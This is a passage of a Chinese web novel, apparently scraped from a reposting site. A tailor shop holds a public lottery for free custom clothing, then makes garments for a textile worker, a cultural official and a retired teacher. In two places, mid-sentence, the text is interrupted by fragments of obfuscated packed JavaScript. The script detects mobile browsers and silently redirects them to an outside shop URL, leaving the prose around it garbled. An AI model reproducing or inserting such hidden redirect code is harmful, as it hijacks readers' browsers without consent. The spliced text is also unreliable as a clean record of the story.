“就是给副市长千金做衣服的那家，还上过报纸。” “当真免费嘛，不会最后又是骗人的把戏吧……” “这可是《南城日报》登的，官方说的肯定就是真的……” “那我要试试，反正是免费的……” 这样的对话，每天在云想阁门口能听到无数次。 疑虑、好奇、期待、感激……种种情绪，通过这小小的登记台，真实地传递过来。 她不禁有些怀疑，这样大肆宣传，在公众之间是否妥当。 登记持续了七天。最后一天下午五点，当春桃写下最后一个名字时，厚厚的登记簿已经用了三大本。粗略统计，前来登记者，超过一千五百人。 这个数字让所有人都倒吸一口凉气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908313|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> —— 接下来是紧张的准备工作。 林知许将活动流程细化到每一步：定制了专用的、带有编号的抽签券——一式两联:顾客联用作凭证，存根联投入抽签箱。 为了保证公平公正，特意请了街道办事处的王主任和一位在登记簿上随机选出的老教师作为监督代表。 规划了抽签当日的店内店外区域，除此之外，还准备了万一出现重复姓名或争议时的处理预案。 抽签日当天，秋高气爽。还不到一点，云想阁门前的街道已经被围得水泄不通。有登记过的，有纯粹来看热闹的，也有几家同行派来“观摩”的人。 一点五十分，林知许请王主任和老教师检查了空的抽签箱，然后由赵建国和秀秀当着所有人的面，将三大本登记存根联逐一撕下，混合，投入箱中。箱子被摇匀。 两点整，林知许站在店门口临时搭建的小台子上，拿着一个喇叭，先向所有到场者深深鞠了一躬。 “各位街坊邻居，各位市民朋友，感谢大家今天来到云想阁，见证这次公开抽签。”她的声音通过喇叭传开，有些许杂音，但清晰坚定，“本次活动，承蒙大家厚爱。这份信任，云想阁铭记在心。无论是否抽中，云想阁的大门，永远为每一位追求品质衣着的朋友敞开。” 简单的开场后，抽签开始。由老教师先抽第一位，王主任抽第二位，随后由已抽出的幸运者抽取下一位，以此类推。每抽出一个号码和对应的名字，赵建国就用毛笔大字写在准备好的红榜上，高高举起示众，秀秀同时用喇叭大声念出。 “编号零七六五，幸运者，李秀梅同志！” 人群中，一个五十岁左右、穿着朴素的女工愣了几秒，随即被身边人推了一把，才难以置信地走上前，核对凭证，在无数羡慕的目光中签下名字。 “编号一一二二，幸运者，周建华同志！” 一个戴着眼镜、干部模样的中年男人微笑着走出人群。 “编号零零三三，冯春兰同志！” 一位头发花白的老奶奶，在孙女的搀扶下，颤巍巍地走上前…… 每念出一个名字，就引起一阵小小的骚动和欢呼。 十个名字逐一产生，红榜上墨迹未干。有人欢喜雀跃，有人扼腕叹息，但大多数人都看得津津有味，觉得这比看戏还有意思。 抽签结束，林知许再次上台，公布了后续安排：十位幸运者将在一周内接到电话通知，预约量体时间。 定制流程将完全按照云想阁高标准进行，欢迎参观监督。 同时，所有登记未中者，凭登记凭证，可在三个月内享受一次定制九折优惠。 人群逐渐散去，但议论声久久不息。很多人都记住了那个在台上从容不迫、说话诚恳的年轻女裁缝，和她那家“登报送衣服”的、不一样的裁缝铺。 —— 抽签活动的成功，远远超出了最初的预期。《南城日报》的李文军记者敏锐地捕捉到了这个新闻点，在活动结束后第二天就来采访，不仅写了抽签现场的盛况，更深入采访了林知许举办活动的初衷、云想阁的经营理念，还随机采访了几位市民的看法。 一周后，一篇题为《“登报送礼”为哪般？看一家个体裁缝铺的诚意与远见》的报道出现在《南城日报》第二版，篇幅比之前的报道还要大。 这篇报道，一锤定音。那些风言风语，在权威报道面前，悄无声息地偃旗息鼓了。 然而，对林知许和她的团队来说，真正的考验才刚刚开始。 如何交出满意的答卷，如何体现水准。 这不仅仅是十件衣服，它们代表着云想阁的信誉，是云想阁立足南城的敲门砖。 登报，不仅拉开了一场活动的帷幕，更在某种意义上，为云想阁在这个时代的发展，推开了一扇新的大门。门外，是更广阔的天空，也是更猛烈的风雨。 23.第 23 章 红榜上的墨迹被秋阳晒得越发黝黑发亮，十个名字静静地悬在那里，牵动着全城人的目光。 热闹的抽签仪式结束后，云想阁的门庭炳蔚，忙碌而又充实。 登报时许下的承诺，一诺千金。 她做的第一件事，是召开内部会议，立下规矩。 “这十件衣服，我们一定要认真再认真。”她的目光扫向桌子上的名字，“从量体到制作，每一个环节，我们都要做的好。它们每一件都是活广告，我们不能自己砸自己的招牌。” 根据任务划分，成立三个小组。 她和苏念初担任设计和关键工艺把控。 小芳负责全流程协调、记录与客户沟通。 秀秀、春桃、赵建国三人根据每位幸运者的衣服类型和自身特长，分配为主要执行者，林知许和苏念初全程指导。 名单上的第一个名字：李秀梅。 —— 第一位：李秀梅，纺织厂女工，四十八岁。 李秀梅是穿着洗得发白的蓝布工装，由同样在纺织厂工作的妹妹陪着来的。她手脚粗糙，坐在接待椅上，双手紧紧攥着一个旧手绢包。 “林师傅，俺也没想到能被抽中”她一开口，带着浓重的乡音，眼圈就有点红，“俺就是，就是登记那天，听厂里姐妹说，这家店登报送好衣裳。俺一辈子没穿过一件像样子的好衣服。儿子在省城读中专，马上要开家长会，俺怕穿得太破，给他丢人……” 她越说声音越小，手绢包打开，里面是零零整整的毛票，大概有十几块钱。“这钱是不是不大够，我以后补上行不……” 林知许轻轻按住李秀梅想要递钱的手，温声道：“李大姐，我们不收费，说免费那就是免费。您放心，一定给您做一件体面而有适合您的衣裳。” 量体时，林知许发现李秀梅有些含胸驼背，肩背厚实，腰腹因生育略显松弛。 标准的旗袍或西装套裙都不太合适。 她一边量，一边和李秀梅聊天，知道了她在细纱车间工作，儿子学机械，丈夫也是厂里工人。 “您平时上班，除了工装，爱穿裤子还是裙子？”林知许问。 “我平时也没衣服穿，就是我老公的旧衣服我凑合着穿。” “那我给您做件裙子好不好，保准又方便又耐看。” 李秀梅茫然又期待地点点头。 送走她，林知许陷入沉思。苏念初提议：“做条‘列宁装’式的上衣配A字裙？稳重。” 林知许摇头：“太像干部服，她穿着反而不自在。我想，做一条工装裙 ” “工装裙？” “对，汲取工装利落、便于活动的特点，但用好的面料，加入女性化的柔和剪裁。”林知许拿起炭笔，在纸上勾勒。 “最重要的是口袋。”林知许在裙侧画了两个有盖的立体贴袋，“李大姐是劳动人民，口袋里要装的东西肯定不少。我们要把口袋做得既实用又美观，成为装饰。” 这个方案在内部讨论时，春桃有些担忧：“林师傅，这个设计看着没有很高级的样子会不会不妥当。” “高级定制，不是把所有复杂的工艺全都一股脑的搬上去，”林知许耐心解释，“而是用最合适的工艺，解决具体的人的问题，表达独特的气质。让李大姐穿上觉得这是她自己衣服，让她能够感觉到自信从容，那就是好衣服。” 林知许亲自去百货公司挑选面料，裁剪由林知许亲自完成，她仔细考虑了李秀梅的体态，在纸样上做了多处针对性调整。 缝制任务交给了最踏实细致的秀秀。 秀秀知道这件衣服的分量，缝得极慢，极认真。 衣服完工那天，林知许按照登记地址，和苏念初一起送到了李秀梅家，纺织厂的筒子楼里。 当李秀梅从公共厨房被叫回来，在自家狭窄的房间里，看到那件挂在简易衣架上的藏青色连衣裙时，她愣住了。 手指小心翼翼地去触摸那条连衣裙，声音发颤:“这当真是给俺做的？” “当真，您快换上试试。” 她换上了那条裙子，左瞧右看。 邻居闻声走来，看向她。 “老李，你可真是好福气啊，这衣服可真是好看。” “穿着可衬你了，哎呀，真不错。” “李姐，今天可真有面子。” “……” 李秀梅看着镜中的自己，摸了又摸裙子，回头对林知许和苏念初说：“谢谢你们，俺也是第一回觉得自己像个人样。” 后来，小芳去回访得知，李秀梅穿着那条裙子去省城开了家长会，儿子同学的母亲还问她裙子在哪买的。 再后来，李秀梅成了云想阁最忠实的宣传员，厂里女工谁想做个正式场合的衣服，她都极力推荐云想阁。 —— 第二位：周建华，市文化局干部，五十二岁。 周建华是独自来的，步伐沉稳，衣着是标准的干部装，洗熨得十分整洁。他说话慢条斯理，目光敏锐。 “林师傅，活动搞得不错嘛。”他先肯定了活动，然后才切入正题，“我对衣服的要求，比较简单，料子要实在，做工要扎实，款式要端正。不追求新奇，但必须穿出去要能体现应有的身份和稳重感。” 体现稳重，需要在细节上下功夫，不能浮夸，又不能过于死板。 量体时，林知许格外留意周建华的体态。标准的干部身材，略有些发福，但骨架端正，小腹微凸。 外加他的工作属性，经常久坐。 设计上，完全遵循标准中山装制式，但在细节上暗下功夫。 真正的功夫在衬里和工艺。 林知许用了进口的轻薄马尾衬做胸衬和肩衬，使前胸饱满挺括，又能随身体活动。所有的缝份，全部手工。 这件衣服，林知许带着赵建国一起做，将许多男装制作的核心技巧倾囊相授。 赵建国学得认真，悟性也好。 交付时，周建华试穿后，在试衣镜前静静站了五分钟。 他做了几个抬臂、转身的动作，衣服没有丝毫牵绊或臃肿。 他对着镜子，转过身，脸上露出极为满意的神色：“好。林师傅果真有几分真本事，以后有机会希望我们还能再合作。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912945|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那是当然，我们倍感荣幸。” —— 第三位：冯春兰，退休小学教师，六十七岁。 冯奶奶是在孙女的陪伴下，坐公交车来的。老人头发梳得一丝不苟，穿着整洁的灰色开衫，气质温婉。 她的要求明确:一件旗袍。素雅，合身。最好，能让她在明年春天和老姐妹们去公园赏花时穿，鲜亮而不过于夺目。 “冯奶奶，您年轻时一定穿旗袍很好看。”苏念初一边量体一边说。 冯奶奶笑了，深深看向苏念初：“年轻的时候，喜欢穿旗袍。可惜，后来遇到一些事，那些衣服不在了，我也就没再穿了。” 青春不常在，错失的不仅仅是件衣裳，更是一份情怀，一份青春的弥补。 林知许选了一款淡雅的青豆色，根据老人的身形做的略微宽松，提高舒适度。 考虑到老人骨骼和怕冷，林知许特意在旗袍内里全镶了柔软的素色棉布里衬。 这件衣服主要由春桃在苏念初指导下完成。 春桃耐着性子，一针一线地缝，熨烫时也格外小心，生怕烫坏了真丝。 当冯奶奶穿上这件旗袍，站在镜前时，她久久未开口，摸了摸鬓边的白发，盯着自己看了好一阵。 镜中的老人，穿着淡雅的旗袍，好似和从前的自己打了一个照面。 孙女毫不吝啬的夸赞道:“奶奶真好看。” 冯奶奶转过身，拉住林知许和春桃的手，眼里有泪光闪动：“真的是谢谢你们了。” 那件旗袍，捡回的是当年的自己。 后来，冯奶奶穿着这件旗袍去了公园，成了老姐妹中的焦点，也陆续介绍了好几位退休教师来云想阁定制。 —— 十位幸运者，十段故事。有为相亲做西装的羞涩青年，有为登台演出定制礼服的文艺骨干…… 每一件衣服，林知许和她的团队都投入了全部的心血和智慧，去倾听、去理解、去创造。 看到客人穿着好看的衣服，满意的神情，他们那三个月的日夜，也得到最好的答案。 —— 一天下午，周建华再次来到云想阁，这次不是为自己，而是陪同一位省城□□门来的领导。 领导看着店内认真的工作氛围和墙上的作品，点头道：“不错不错。” “多谢夸奖，我们会继续努力。” —— 秋去冬来，梧桐叶落。 云想阁内，炉火正暖。 一针一线，编织着新的梦。 这一次，云想阁赢得漂亮。 一诺千金，十件衣服，就是最好的答案。 林知许在日记本下写下新的内容: 传承之心，我不敢忘。过往的种种，我都会牢记。 未来，在我们自己的手里。 十件衣服的佳话，我想会越传越广。 我当不辜负每一份信任，继续走好自己的路，做好自己分内的事情。 未来，我们来日方长。 我想我们会更长远，更好的走下去。 一定会的!